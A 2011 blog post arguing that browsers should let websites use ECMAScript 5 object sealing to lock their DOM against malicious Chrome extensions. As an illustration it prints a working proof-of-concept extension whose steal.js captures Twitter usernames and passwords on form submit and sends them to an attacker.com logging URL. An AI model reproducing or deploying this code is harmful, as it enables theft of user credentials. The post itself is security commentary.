27. December 2011

ECMAScript 5 - What stops websites from thwarting malicious browser extensions?

Browser extensions have always questioned online security, as they are developed by third-party developers. An extension can be directly malicious or a benign extension can be seized up by an attacker owing to some buggy code. Both Chrome and Firefox have a huge collection of extensions/add-ons and millions of people use it every day. Among the Browser Extension systems, Chrome’s Architecture is considered pretty secure with its Least privilege and Privilege separation mechanisms. These two mechanisms helps thwart attacks originating due to insecure coding. In this post, Ill be writing about how ECMAScript 5 Specifications can be used in the future to prevent malicious extensions from targeting a particular website.

First things first:

Keeping in mind the HTML design principles and its Priority of constituencies, In case of conflict, consider users over authors over implementors over specifiers over theoretical purity. In other words costs or difficulties to the user should be given more weight than costs to authors; which in turn should be given more weight than costs to implementors; which should be given more weight than costs to authors of the spec itself, which should be given more weight than those proposing changes for theoretical reasons alone. So the priority goes like,
Users(The one who uses the browsers) > Authors(Website creators) > Implementors(Browser vendors)

A little bit of ECMAScript 5:

ECMAScript 5, the latest edition of the standard, is upon which JavaScript is based. There are some new APIs included in the specification, among which the most interesting one comes in the way you manipulate an Object. Read this post by John Resig on the various ways of locking down and sealing an Object using the ECMAScript 5 Specifications. And moreover, the latest browsers have already implemented most of these specs.

####Content Scripts in Chrome Extensions: Content scripts is the means by which Google Chrome allows an extension to interact with the web page’s Document Object model (DOM), that its acting on. Actually, the DOM is shared between the page’s JavaScript and the different content scripts used by extensions. In order to avoid confusion, the content scripts and the JavaScript of the page are separated from each other using ‘Isolated Worlds’. So each script that is accessing the DOM runs on its own isolated worlds each having its own JavaScript environment.

The malevolence of some Extensions:

There are a bunch of nasty extensions in the wild. Most of them are drive-bys, where the extensions are installed from a third party source, rather from the Google Web Store. Here is a code sample which can steal a twitter login information and send it to the attacker’s server, every time the user logs in. The code needs no explanation.

manifest.json

{
    "name": "Twitter Login Stealer POC",
    "version": "1.0",
    "description": "Steals the login data from Twitter",
    "browser_action": {
        "default_title": "Twitter Stealer"
    },
    "permissions": [""],

    "content_scripts": [{
        "js": ["steal.js"],
        "matches": ["http://www.twitter.com/login"]
    }]
}

steal.js

function doStuff() {
    allForms = document.forms;
    for (var i in allForms) {
       // Extension developer is able to over-ride any objects ! 
        allForms[i].onsubmit = function () {
           user = document.getElementsByName('session[username_or_email]')[2].value;
       pass = document.getElementsByName('session[password]')[2].value;
       data  = user + ":" + pass;
           new Image().src = "http://www.attacker.com/logger.php?i="+data; 
           alert("Seems like the twitter plugin is installed");
           return true;
        };
    }
}
window.setTimeout(doStuff, 3000);

Extensions which steals login details, credit card credentials or which sends each and every key stroke to the attacker are sometimes unavoidable. Its up to the user’s knowledge, to trust extensions and install them. Recently a lot of spams which affected Facebook had well crafted extensions behind the scenes, in the name of ‘YouTube Premium Plugin’. The issue has already been notified to Google and there is nothing they can do about it, because this is by design.

Getting to the point:

I’ve always been amused by the way .mario trying to lock down DOM using the ECMAScript 5 specifications, such as Object.defineProperties to prevent XSS, even though it wasn’t a completely successful one. I’ve been thinking about this for a while with a different approach to lock down a website’s Objects, so that the extensions can only alter the objects allowed by the website author. Unfortunately, as already mentioned a few paragraphs before, the Chrome Extension System doesn’t respect this way of locking down objects across different JavaScript enivroments. ie) If an Object is sealed or locked down in one JavaScript Environment such as the Web Page’s JavaScript, then the same object is not locked in another environment such as another Content Script which an extension might be using.

And there is a reason why Chrome does this thing of isolating Objects into different environments. Ironically though, its a security reason. Chrome doesn’t want websites to use the shared DOM to break out of normal webpage sandbox and access the content scripts or high privileged APIs. But there must be a way in which browsers lock down the Objects globally, allowing website authors to have a real control over their DOM and Objects. The extension architecture must allow for websites to lock down any DOM node and prohibit the deletion of the same and thus adding more value to these ECMAScript 5 specifications and also by remembering the priority of constituencies (Authors > Implementors) .